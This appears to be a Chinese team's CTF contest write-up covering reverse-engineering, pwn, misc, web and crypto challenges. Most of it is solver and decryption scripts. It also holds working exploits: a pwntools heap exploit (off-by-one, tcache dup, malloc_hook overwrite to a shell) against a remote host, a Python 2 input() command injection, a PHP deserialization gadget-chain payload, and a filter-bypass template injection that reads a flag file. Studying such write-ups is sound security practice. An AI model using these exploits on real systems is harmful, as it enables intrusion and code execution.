1. 程式人生 > 實用技巧 >爆炒腰花-國賽WP

爆炒腰花-國賽WP

心疼北郵第三第四的小可愛三秒
全隊的wp,web手不記得是WM原題,已經被我埋了

逆向

z3

結合題目名稱 和這一大坨方程式想到了Z3

不多BB z3 一把梭

val的值可以寫個IDapython指令碼提取出來

from z3 import *
s=Solver()
a1=[Int('a1[%d]'%i) for i in range(42)]
val=[20247,40182,36315,
36518,26921,39185,16546,
12094,25270,19330,18540,16386,
21207,11759,10460,25613,21135,24891,18305,
27415,12855,10899,24927,20670,22926,18006,
23345,12602,12304,26622,19807,22747,14233,24736,
10064,14169,
35155,28962,33273,21796,35185,14877]
s.add(val[0] == 34 * a1[3] + 12 * a1[0] + 53 * a1[1] + 6 * a1[2] + 58 * a1[4] + 36 * a1[5] + a1[6])
s.add(val[1]== 27 * a1[4] + 73 * a1[3] + 12 * a1[2] + 83 * a1[0] + 85 * a1[1] + 96 * a1[5] + 52 * a1[6])
s.add(val[2] == 24 * a1[2] + 78 * a1[0] + 53 * a1[1] + 36 * a1[3] + 86 * a1[4] + 25 * a1[5] + 46 * a1[6])
s.add(val[3]== 78 * a1[1] + 39 * a1[0] + 52 * a1[2] + 9 * a1[3] + 62 * a1[4] + 37 * a1[5] + 84 * a1[6])
s.add(val[4]== 48 * a1[4] + 14 * a1[2] + 23 * a1[0] + 6 * a1[1] + 74 * a1[3] + 12 * a1[5] + 83 * a1[6])
s.add(val[5]== 15 * a1[5] + 48 * a1[4] + 92 * a1[2] + 85 * a1[1] + 27 * a1[0] + 42 * a1[3] + 72 * a1[6])
s.add(val[6] == 26 * a1[5] + 67 * a1[3] + 6 * a1[1] + 4 * a1[0] + 3 * a1[2] + 68 * a1[6])
s.add(val[7] == 34 * a1[10] + 12 * a1[7] + 53 * a1[8] + 6 * a1[9] + 58 * a1[11] + 36 * a1[12] + a1[13])
s.add(val[8] == 27 * a1[11] + 73 * a1[10] + 12 * a1[9] + 83 * a1[7] + 85 * a1[8] + 96 * a1[12] + 52 * a1[13])
s.add(val[9] == 24 * a1[9] + 78 * a1[7] + 53 * a1[8] + 36 * a1[10] + 86 * a1[11] + 25 * a1[12] + 46 * a1[13])
s.add(val[10] == 78 * a1[8] + 39 * a1[7] + 52 * a1[9] + 9 * a1[10] + 62 * a1[11] + 37 * a1[12] + 84 * a1[13])
s.add(val[11]== 48 * a1[11] + 14 * a1[9] + 23 * a1[7] + 6 * a1[8] + 74 * a1[10] + 12 * a1[12] + 83 * a1[13])
s.add(val[12]== 15 * a1[12] + 48 * a1[11] + 92 * a1[9] + 85 * a1[8] + 27 * a1[7] + 42 * a1[10] + 72 * a1[13])
s.add(val[13]== 26 * a1[12] + 67 * a1[10] + 6 * a1[8] + 4 * a1[7] + 3 * a1[9] + 68 * a1[13])
s.add(val[14]== 34 * a1[17] + 12 * a1[14] + 53 * a1[15] + 6 * a1[16] + 58 * a1[18] + 36 * a1[19] + a1[20])
s.add(val[15]== 27 * a1[18] + 73 * a1[17] + 12 * a1[16] + 83 * a1[14] + 85 * a1[15] + 96 * a1[19] + 52 * a1[20])
s.add(val[16]== 24 * a1[16] + 78 * a1[14] + 53 * a1[15] + 36 * a1[17] + 86 * a1[18] + 25 * a1[19] + 46 * a1[20])
s.add(val[17]== 78 * a1[15] + 39 * a1[14] + 52 * a1[16] + 9 * a1[17] + 62 * a1[18] + 37 * a1[19] + 84 * a1[20])
s.add(val[18]== 48 * a1[18] + 14 * a1[16] + 23 * a1[14] + 6 * a1[15] + 74 * a1[17] + 12 * a1[19] + 83 * a1[20])
s.add(val[19] == 15 * a1[19] + 48 * a1[18] + 92 * a1[16] + 85 * a1[15] + 27 * a1[14] + 42 * a1[17] + 72 * a1[20])
s.add(val[20]== 26 * a1[19] + 67 * a1[17] + 6 * a1[15] + 4 * a1[14] + 3 * a1[16] + 68 * a1[20])
s.add(val[21] == 34 * a1[24] + 12 * a1[21] + 53 * a1[22] + 6 * a1[23] + 58 * a1[25] + 36 * a1[26] + a1[27])
s.add(val[22]== 27 * a1[25] + 73 * a1[24] + 12 * a1[23] + 83 * a1[21] + 85 * a1[22] + 96 * a1[26] + 52 * a1[27])
s.add(val[23]== 24 * a1[23] + 78 * a1[21] + 53 * a1[22] + 36 * a1[24] + 86 * a1[25] + 25 * a1[26] + 46 * a1[27])
s.add(val[24]== 78 * a1[22] + 39 * a1[21] + 52 * a1[23] + 9 * a1[24] + 62 * a1[25] + 37 * a1[26] + 84 * a1[27])
s.add(val[25]== 48 * a1[25] + 14 * a1[23] + 23 * a1[21] + 6 * a1[22] + 74 * a1[24] + 12 * a1[26] + 83 * a1[27])
s.add(val[26]== 15 * a1[26] + 48 * a1[25] + 92 * a1[23] + 85 * a1[22] + 27 * a1[21] + 42 * a1[24] + 72 * a1[27])
s.add(val[27]== 26 * a1[26] + 67 * a1[24] + 6 * a1[22] + 4 * a1[21] + 3 * a1[23] + 68 * a1[27])
s.add(val[28]== 34 * a1[31] + 12 * a1[28] + 53 * a1[29] + 6 * a1[30] + 58 * a1[32] + 36 * a1[33] + a1[34])
s.add(val[29] == 27 * a1[32] + 73 * a1[31] + 12 * a1[30] + 83 * a1[28] + 85 * a1[29] + 96 * a1[33] + 52 * a1[34])
s.add(val[30]== 24 * a1[30] + 78 * a1[28] + 53 * a1[29] + 36 * a1[31] + 86 * a1[32] + 25 * a1[33] + 46 * a1[34])
s.add(val[31]== 78 * a1[29] + 39 * a1[28] + 52 * a1[30] + 9 * a1[31] + 62 * a1[32] + 37 * a1[33] + 84 * a1[34])
s.add(val[32]== 48 * a1[32] + 14 * a1[30] + 23 * a1[28] + 6 * a1[29] + 74 * a1[31] + 12 * a1[33] + 83 * a1[34])
s.add(val[33]== 15 * a1[33] + 48 * a1[32] + 92 * a1[30] + 85 * a1[29] + 27 * a1[28] + 42 * a1[31] + 72 * a1[34])
s.add(val[34]== 26 * a1[33] + 67 * a1[31] + 6 * a1[29] + 4 * a1[28] + 3 * a1[30] + 68 * a1[34])
s.add(val[35]== 34 * a1[38] + 12 * a1[35] + 53 * a1[36] + 6 * a1[37] + 58 * a1[39] + 36 * a1[40] + a1[41])
s.add(val[36]== 27 * a1[39] + 73 * a1[38] + 12 * a1[37] + 83 * a1[35] + 85 * a1[36] + 96 * a1[40] + 52 * a1[41])
s.add(val[37]== 24 * a1[37] + 78 * a1[35] + 53 * a1[36] + 36 * a1[38] + 86 * a1[39] + 25 * a1[40] + 46 * a1[41])
s.add(val[38]== 78 * a1[36] + 39 * a1[35] + 52 * a1[37] + 9 * a1[38] + 62 * a1[39] + 37 * a1[40] + 84 * a1[41])
s.add(val[39]== 48 * a1[39] + 14 * a1[37] + 23 * a1[35] + 6 * a1[36] + 74 * a1[38] + 12 * a1[40] + 83 * a1[41])
s.add(val[40]== 15 * a1[40] + 48 * a1[39] + 92 * a1[37] + 85 * a1[36] + 27 * a1[35] + 42 * a1[38] + 72 * a1[41])
s.add(val[41] == 26 * a1[40] + 67 * a1[38] + 6 * a1[36] + 4 * a1[35] + 3 * a1[37] + 68 * a1[41])
print s.check()
print(s.model())
a1=[0]*42
a1[14]=54
a1[25]=57
a1[0]=102
a1[15]=51
a1[37]=101
a1[36]=102
a1[7]=49
a1[16]=98
a1[23]=45
a1[18]=45
a1[30]=101
a1[28]=45
a1[2]=97
a1[4]=123
a1[3]=103
a1[21]=49
a1[24]=57
a1[29]=54
a1[17]=57
a1[22]=56
a1[31]=49
a1[33]=99
a1[38]=54
a1[11]=52
a1[26]=48
a1[39]=52
a1[8]=55
a1[10]=100
a1[40]=56
a1[19]=52
a1[12]=51
a1[32]=52
a1[1]=108
a1[35]=97
a1[5]=55
a1[9]=49
a1[41]=125
a1[34]=50
a1[27]=101
a1[20]=101
a1[13]=45
a1[6]=101
s=''
for i in range(42):
    s+=chr(a1[i])
print s

hyperthreading

IDA strings 定位到關鍵函式 發現creathread函式

對於輸入內容的加密內容應該在子執行緒中

跳轉到strataddress 發現程式碼從0x401151開始不對

OD除錯

發現IDA分析錯位

存在反除錯和花指令,去之

其中有死迴圈反除錯和花指令(0xeb)

最後還原出來的加密邏輯是移位異或再加0x23

寫指令碼

#fromidaapiimport*
#startaddr=0x402150
#offset=42
#a=[]
#foriinrange(offset):
#    a.append(Byte(startaddr+i))
#print a 
a=[221,91,158,29,32,158,144,145,144,144,
145,146,222,139,17,209,30,158,139,
81,17,80,81,139,
158,93,93,17,139,144,18,
145,80,18,210,145,146,30,
158,144,210,159]
print(len(a))
s=''
for j in range(42):    
    for i in range(0x20,0x7f):
        tmp=((((i>>2)^(i<<6))^0x23)+0x23)&0xff
        if (tmp==a[j]):
            s+=chr(i)
print (s)

pwn

babyjsc:

剛拿到題目啥也沒看懂 好像是個JS解析,不懂

找了server.py

可以發現程式的互動部分是由server.py實現

python2 input函式非常危險

之前做過一個CTF就是拿這個出題的導致可以直接getshell

具體可以參考這篇文章https://www.cnblogs.com/heycomputer/articles/10537633.html

直接輸入

import('os').system('cat /home/ctf/flag')

我估計這是個非預期 23333

safebox

典型的選單堆

最多0xf個堆塊大小限制為0xfff

可以看到存在off-by-one 漏洞

可以通過off-by-one構造chunk overlapping 再申請一部分出來

讓main_arena的地址進入tcache鏈

再修改低位位元組爆破stdout

最後再構造overlapping實現tcache dup

from pwn import *
from time import sleep
context.log_level = 'debug'
# p=process("./pwn")
p = remote('101.200.53.148',34521)
elf=ELF('./pwn')
libc = ELF('./libc.2.23.so')
def add(idx,size,content):
    p.recvuntil('>>>')
    p.sendline("1")
    p.recvuntil("idx:")
    p.sendline(str(idx))
    p.recvuntil("len:")
    p.sendline(str(size))
    p.recvuntil("content:")
    p.send(content)
def delete(idx):
    p.recvuntil('>>>')
    p.sendline("2")
    p.recvuntil("idx:")
    p.sendline(str(idx))
def get_shell():
    add(0,0x18,'aaaa')
    add(1,0x108,'bbbb')
    add(2,0x60,'cccc')
    add(3,0x60,'dddd')
    add(4,0xf8,'eeee')
    add(5,0x20,'ffff')
    delete(0)
    add(0,0x18,'a'*0x18+'\xf1')
    delete(2)
    delete(3)
    delete(1)
    add(1,0x108,'aaaa')
    add(2,0x70,p16(0x2620-0x43))
    delete(1)
    add(1,0x108,'a'*0x108+'\x71')
    add(3,0x60,'bbbb')
    add(6,0x60,'cccc')
    payload='a'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00'
    add(7,0x68,payload)#爆破libc 多試幾次就行
    #pause()
    libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600
    print hex(libc_base)
  
    free_hook = libc_base + 0x3c67a8
    malloc_hook = libc_base+0x3c4b10
    onegadget=libc_base+0xf1207
    p.sendline("1")
    p.recvuntil("idx:")
    p.sendline(str(8))
    p.recvuntil("len:")
    p.sendline(str(0x50))
    p.recvuntil("content:")
    p.send('a')
    add(8,0x18,'aaaa')

    add(9,0x108,'bbbb')
    add(10,0x68,'cccc')
    add(11,0x68,'dddd')
    add(12,0x68,'eeee')

    delete(8)
    add(0,0x18,'a'*0x18+'\xf1')
    delete(10)
    delete(11)
    delete(9)
    add(9,0x108,'bbbb')
    add(10,0x70,p64(malloc_hook-0x23))
    delete(9)
    add(9,0x108,'a'*0x108+'\x71')
    add(11,0x68,'dddd')
    add(13,0x68,'dddd')
    add(14,0x60,'a'*0x13+p64(onegadget))#修改malloc_hook為one_gadget
    p.sendline("1")
    p.recvuntil("idx:")
    p.sendline(str(15))
    p.recvuntil("len:")
    p.send('aaaa')
    p.interactive()
get_shell()

MISC

簽到

直接給了

flag:flag{同舟共濟揚帆起,乘風破浪萬里航。}

the_best_ctf_game

直接在檔案裡能讀出來

flag: flag{65e02f26-0d6e-463f-bc63-2df733e47fbe}

電腦被黑

取證大師能直接恢復出flag.txt

發現資料夾下demo是個加密程式,逆向一下

編寫逆向程式碼

flie1=open("flag.txt","rb")
flie2=open("fakeflag.txt","rb")
v4 = 34 
v5 = 0
buff=flie1.read()
for i in buff:
 c=(i^v4)-v5
 v4 = (v4+34)&0xff
 v5=(v5+2)&0xf
 print(chr(c),end="")
 

flag: flag{e5d7c4ed-b8f6-4417-8317-b809fc26c047}

WEB

babyunserialize

看了一眼原始碼,眼熟,想起來是前幾天WM的原題,雖然當時沒做出來,但是存了wp,稍微改一下

<?php
namespace DB{
    abstract class Cursor  implements \IteratorAggregate {}
}
namespace DB\SQL{
    class Mapper extends \DB\Cursor{
        protected
            $props=["quotekey"=>"phpinfo"],
            $adhoc=["20"=>["expr"=>""]],
            $db;
        function offsetExists($offset){}
        function offsetGet($offset){}
        function offsetSet($offset, $value){}
        function offsetUnset($offset){}
        function getIterator(){}
        function __construct($val){
            $this->db = $val;
        }
    }
}
namespace CLI{
    class Agent {
        protected
            $server="";
        public $events;
        public function __construct(){
            $this->events=["disconnect"=>array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")),"find")];
            $this->server=&$this;
        }
    };
    class WS{}
}
namespace {
    echo urlencode(serialize(array(new \CLI\WS(),new \CLI\Agent())));
}

跑一下得出

a%3A2%3A%7Bi%3A0%3BO%3A6%3A%22CLI%5CWS%22%3A0%3A%7B%7Di%3A1%3BO%3A9%3A%22CLI%5CAgent%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00server%22%3Br%3A3%3Bs%3A6%3A%22events%22%3Ba%3A1%3A%7Bs%3A10%3A%22disconnect%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A13%3A%22DB%5CSQL%5CMapper%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00props%22%3Ba%3A1%3A%7Bs%3A8%3A%22quotekey%22%3Bs%3A7%3A%22phpinfo%22%3B%7Ds%3A8%3A%22%00%2A%00adhoc%22%3Ba%3A1%3A%7Bi%3A20%3Ba%3A1%3A%7Bs%3A4%3A%22expr%22%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A5%3A%22%00%2A%00db%22%3BO%3A13%3A%22DB%5CSQL%5CMapper%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00props%22%3Ba%3A1%3A%7Bs%3A8%3A%22quotekey%22%3Bs%3A7%3A%22phpinfo%22%3B%7Ds%3A8%3A%22%00%2A%00adhoc%22%3Ba%3A1%3A%7Bi%3A20%3Ba%3A1%3A%7Bs%3A4%3A%22expr%22%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A5%3A%22%00%2A%00db%22%3Bs%3A0%3A%22%22%3B%7D%7Di%3A1%3Bs%3A4%3A%22find%22%3B%7D%7D%7D%7D

a:2:{i:0;O:6:"CLI\WS":0:{}i:1;O:9:"CLI\Agent":2:{s:9:" * server";r:3;s:6:"events";a:1:{s:10:"disconnect";a:2:{i:0;O:13:"DB\SQL\Mapper":3:{s:8:" * props";a:1:{s:8:"quotekey";s:7:"phpinfo";}s:8:" * adhoc";a:1:{i:20;a:1:{s:4:"expr";s:0:"";}}s:5:" * db";O:13:"DB\SQL\Mapper":3:{s:8:" * props";a:1:{s:8:"quotekey";s:7:"phpinfo";}s:8:" * adhoc";a:1:{i:20;a:1:{s:4:"expr";s:0:"";}}s:5:" * db";s:0:"";}}i:1;s:4:"find";}}}}

提交,得到phpinfo,搜一下,得到flag

easyphp

考察fork中斷

建立一個新的監聽的時候會導致原來的程序中斷出錯,跳轉至phpinfo頁面,沒想到直接就有flag了(沒想到直接就在info裡面,還以為要命令執行的說)

easytrick

見到有php的!=和!==,以及需要md5值相等,想到利用不同的型別獲取兩個相同的NAN值來獲取相同的md5

 <?php
class trick{
    public $trick1;
    public $trick2;
    public function __destruct(){
        $this->trick1 = (string)$this->trick1;
		print_r($this->trick1);
		print_r($this->trick2);
		print_r(md5($this->trick2));
		print_r(md5($this->trick2));
        if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
            die("你太長了");
        }
        if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
            echo'success';
        }
    }
}
highlight_file(__FILE__);
echo 0/0;
echo (string)[a];
$a=new trick();
$a->trick1=NAN;
$a->trick2=0/0;
$b=serialize($a);
print_r($b);
unserialize($b); 

payload:
O:5:"trick":2:{s:6:"trick1";d:NAN;s:6:"trick2";d:NAN;}

receme

參考2020年賽博杯的dangerous-function,本題一樣過濾了大量字串操作函式,選擇imlpode進行拼接,修改一下執行命令的部分即可獲取flag

payload:

{if:var_dump((((implode(array(fil,e_get,con,tents)))))(((implode(array(bas,e64,dec,ode))))(Li8uLi8uLi8uLi8uLi8uLi8uLi9mbGFn)))}e{else}a{end if}

CRYPTO

bd

分析一下原始碼,d過小,想到wiener attack,先得到d,再通過

m = pow(c,d,n)

得到flag
跑下指令碼

d=1485313191830359055093545745451584299495272920840463008756233
# -*- coding: utf-8 -*-
# Wiener Attack, used in big public key (or small private key).
from gmpy2 import *
# 展開為連分數
def continuedfra(x, y):
cF = []
while y:
cF += [x / y]
x, y = y, x % y
return cF
def simplify(ctnf):
numerator = 0
denominator = 1
for x in ctnf[::-1]:
numerator, denominator = denominator, x * denominator + numerator
return (numerator, denominator)
# 連分數化簡
def calculatefrac(x, y):
cF = continuedfra(x, y)
cF = map(simplify, (cF[0:i] for i in range(1, len(cF))))
return cF
# 解韋達定理
def solve_pq(a, b, c):
par = isqrt(b * b - 4 * a * c)
return (-b + par) / (2 * a), (-b - par) / (2 * a)
def wienerattack(e, n):
for (d, k) in calculatefrac(e, n):
if k == 0:
continue
if (e * d - 1) % k != 0:
continue
phi = (e * d - 1) / k
p, q = solve_pq(1, n - phi + 1, n)
if p * q == n:
return abs(int(p)), abs(int(q))
print('not find!')
n = 86966590627372918010571457840724456774194080910694231109811773050866217415975647358784246153710824794652840306389428729923771431340699346354646708396564203957270393882105042714920060055401541794748437242707186192941546185666953574082803056612193004258064074902605834799171191314001030749992715155125694272289
e = 46867417013414476511855705167486515292101865210840925173161828985833867821644239088991107524584028941183216735115986313719966458608881689802377181633111389920813814350964315420422257050287517851213109465823444767895817372377616723406116946259672358254060231210263961445286931270444042869857616609048537240249
c = 37625098109081701774571613785279343908814425141123915351527903477451570893536663171806089364574293449414561630485312247061686191366669404389142347972565020570877175992098033759403318443705791866939363061966538210758611679849037990315161035649389943256526167843576617469134413191950908582922902210791377220066
p, q = wienerattack(e, n)
print('[+]Found!', '\n')
print('  [-]p =', p)
print('  [-]q =', q)
print('  [-]n =', p * q)
d = invert(e, (p-1)*(q-1))
print('  [-]d =', d)
# print('  [-]m is: ' + '{:x}'.format(pow(c, d, n)).decode('hex'), '\n')
print('[!]All Done!')
m = pow(c,d,n)
from Crypto.Util.number import long_to_bytes
print(long_to_bytes(m))

lsfr

分析程式碼,發現讓求mark,又通過前幾位為固定的字元

flag{

想到B-M演算法

Berlekamp-Massey 演算法(B-M 演算法)用於構造一個最短的 LFSR 以滿足給定的二進位制輸出序列。一方面可用於尋找級數儘可能小的 LFSR 來生成隨機性大的輸出序列,而另一方面可用於根據已知輸出序列反推 LFSR。

用線上工具

解出mask

因為mask的長度為100,去除最後一位,逆序轉為10進位制,就是flag

flag{856137228707110492246853478448}